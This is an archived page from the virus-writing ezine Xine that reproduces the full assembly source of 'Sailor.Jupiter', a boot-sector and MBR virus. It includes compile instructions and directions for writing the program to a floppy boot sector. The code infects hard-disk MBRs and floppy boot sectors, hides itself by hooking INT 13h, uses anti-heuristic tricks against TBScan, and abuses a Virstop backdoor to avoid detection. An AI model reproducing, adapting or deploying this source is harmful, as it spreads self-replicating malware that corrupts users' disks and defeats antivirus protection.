Copy Link
Add to Bookmark
Report

xine-1.022

eZine's profile picture
Published in 
Xine
 · 5 years ago

  


/-----------------------------\
| Xine - issue #1 - Phile 022 |
\-----------------------------/


;
;
; b0z0 presents:
; Sailor.Jupiter
;
; well, boot infectors... it has to be done :) let's see what it does:
; - infects BS/MBR. Original MBR is on 0,0,2 and original BS on
; floppyes is on 0,1,14.
; - MBR stealth on write/read/verify
; - Floppy BS stealth on read. I haven't implemented floppy BS stealth
; on write because i think that is a waste of space. infact it gets
; a lot of space to test all the possible writings to the original
; bs. and a non complete check will only bring problems. anyway if
; a user formats the diskette while the virus is in mem it will be
; infect on the first read, that's the stage when format checks the
; total space on diskette :)
; - Heavy antiheuristic structures agains TBScan. the infected boot
; sectors actually doesn't flag any flag with TBScan 7.04. well, that
; article on the flags was of use for someone :)
; - Anti-Virstop feature. This is the first virus, i think, that uses
; the Virstop backdoor, so the AV won't notice the infected boot
; sector when a user read an infected diskette. Thanx Dandler!
;
;
; Once again thanx to Dandler for his help with my first boot experience :)
;
;
; To compile:
; TASM /ZI /M2 JUPITER.ASM
; TLINK /M /V JUPITER.OBJ
; TDSTRIP -C JUPITER.EXE
; and then put the resulting file at the boot sector of a floppy disk.
; pay attention, you must of course preserve the first 03eh bytes of the
; original boot sector
;


.model tiny
.code

org 0

start:
jmp short virus_start
nop
;<-- important floppy stuff comes here
org 03eh

virus_start:
cli
xor ax,ax
mov ss,ax ;adjust ss:sp
mov sp,7c00h
push ax
pop es
push ax
pop ds
sti

mov ax,201h
mov bx,offset virus_end+7c00h;read to our buffer after the virus
mov dx,80h
mov cx,1
int 13h ;read mbr
jc no_mbr ;go away if hd not present

mov si,offset virus_name+7c00h
push si
pop di
add di,offset virus_end
mov cx,7
rep cmpsw ;check if the mbr is already infected?
je no_mbr

mov byte ptr floppymarker+7c00h,1 ;HD mark
mov ax,202h
inc ah
mov bx,7c00h
mov cx,1 ;write virus and original mbr
int 13h

mov byte ptr floppymarker+7c00h,0 ;reset marker

no_mbr:
mov di,412h ; well, goodbye TBScan ]:)
inc di
dec word ptr ds:[di]
mov ax,word ptr ds:[di]
mov cl,6
shl ax,cl ;get mem
mov es,ax

xchg word ptr ds:[04eh],ax ;put new segment
mov seg13h+7c00h,ax ;save old int13h segment
mov ax,offset int13h_handler ;ax=new int13h handler
xchg word ptr ds:[04ch],ax
mov off13h+7c00h,ax ;save old offset

mov si,100h ;
push si ; so TBScan wouldn't trigger the O flag
pop cx ;
mov si,7C00h
push si
xor di,di
rep movsw ;copy the virus in our 1kb mem space


push cs
pop es ;ES=CS

mov ax,201h ;read to 0:7c00h
pop bx
mov cx,1
cmp byte ptr cs:[floppymarker+7c00h],0 ;is hd or fd?
jne isharddisk
mov cx,000eh
mov dl,0
mov dh,1

isharddisk:
push 013cdh ;put CD13 at 7c00h-2
jmp start-2 ;jump there and execute the read

int13h_handler:
cmp cx,1
jne do_int_13
cmp dh,0
jne do_int_13
cmp dl,80h ;something on mbr?
je mbr_stealth
cmp dl,1 ;Read floppy boot?
ja do_int_13
cmp ax,201h ;read 1 sector
je floppy_infection
do_int_13:
db 0EAh
off13h dw ?
seg13h dw ?

mbr_stealth:
push cx

mov cl,2
int 13h ;return original mbr

pop cx
retf 2

floppy_infection:
pushf
call dword ptr cs:off13h
jc read_error
pushf
push ax
push bx
push cx
push si
push di
push ds
push es

push es
pop ds
push cs
pop es

lea si,[offset virus_name + bx]
mov di,offset virus_name
mov cx,7
rep cmpsw
je fbs_stealth ; already infected? just hide the virus bs

push es
push dx
push ds
pop es
mov ax,201h
push ax
inc ah
mov cx,000eh
mov dh,01h
int 13h ; copy original boot to 0,1,14
pop ax

pop dx
pop es
jc fb_exit ; error occoured? go away

mov byte ptr cs:[floppymarker],0
lea si,[bx+03h] ; copy original BS bytes from offset 03h
mov di,03h ; to offset 3eh
mov cx,03bh
rep movsb

mov word ptr es:[2fh],10cdh ;Virstop rulesss ]:)

push bx
inc ah
sub bx,bx ;mov BX,offset START
mov cx,1
int 13h ;Infect floppy boot
pop bx

fbs_stealth:
push ds
pop es
mov ax,201h
mov cx,000eh ;read the original one to
mov dh,01h ;ES:BX and give it to the
int 13h ;user

fb_exit:
pop es
pop bx
pop di
pop si
pop cx
pop bx
pop ax
popf
read_error:
retf 2

virus_name db 'Sailor.Jupiter',0
virus_author db 'b0z0/iKx',0 ; :)

floppymarker db 00h

org 01feh

boot_mbr:
db 55h,0AAh

org 200h

virus_end:

end

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT